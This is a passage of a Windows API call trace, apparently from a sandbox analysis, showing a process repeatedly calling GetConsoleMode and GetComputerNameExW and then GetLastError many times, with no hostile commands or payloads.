	[0052.147] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.147] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.147] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.147] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.147] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.147] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.147] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.147] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.147] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.147] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.147] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.148] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.148] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.148] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.148] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.148] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.148] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.148] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.148] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.148] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.148] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.148] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.148] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.148] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.149] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.149] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.149] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.149] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.149] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.149] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.149] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.149] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.149] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.149] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.149] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.202] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.207] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.207] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.207] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.207] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.207] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.208] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.208] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.210] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.210] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.210] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.211] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.211] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.211] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.211] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.211] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.211] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.211] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.211] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.211] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.211] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.211] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.211] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.211] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.212] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.212] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.212] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.212] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.240] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.240] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.241] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.241] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.241] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.241] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.241] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.241] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.241] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.241] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.241] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.241] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.241] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.241] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.242] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.242] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.242] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.242] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.242] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.242] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.242] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.242] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.242] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.242] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.242] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.242] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.242] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.242] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.243] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.243] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.243] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.243] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.243] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.243] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.244] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.244] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.244] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.244] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.244] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.244] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.244] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.244] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.244] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.244] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.245] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.245] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.245] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.245] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.245] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.245] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.245] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.245] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.245] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.245] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.245] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.245] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.246] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.246] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.246] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.246] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.246] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.246] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.246] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.246] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.246] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.246] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.250] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.250] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.261] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.261] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.261] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.261] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.261] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.261] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.262] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.262] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.262] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.262] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.262] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.262] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.262] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.262] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.262] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.262] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.262] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.262] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.263] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.263] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.263] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.263] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.263] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.263] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.263] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.263] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.263] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.263] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.263] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.263] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.264] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.264] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.264] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.264] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.264] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.264] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.264] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.264] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.264] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.264] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.379] GetLastError () returned 0x579
	[0052.379] GetLastError () returned 0x579
	[0052.379] GetLastError () returned 0x579
	[0052.379] GetLastError () returned 0x579
	[0052.379] GetLastError () returned 0x579
	[0052.379] GetLastError () returned 0x579
	[0052.379] GetLastError () returned 0x579
	[0052.379] GetLastError () returned 0x579
	[0052.379] GetLastError () returned 0x579
	[0052.379] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.380] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.381] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.382] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
	[0052.383] GetLastError () returned 0x579
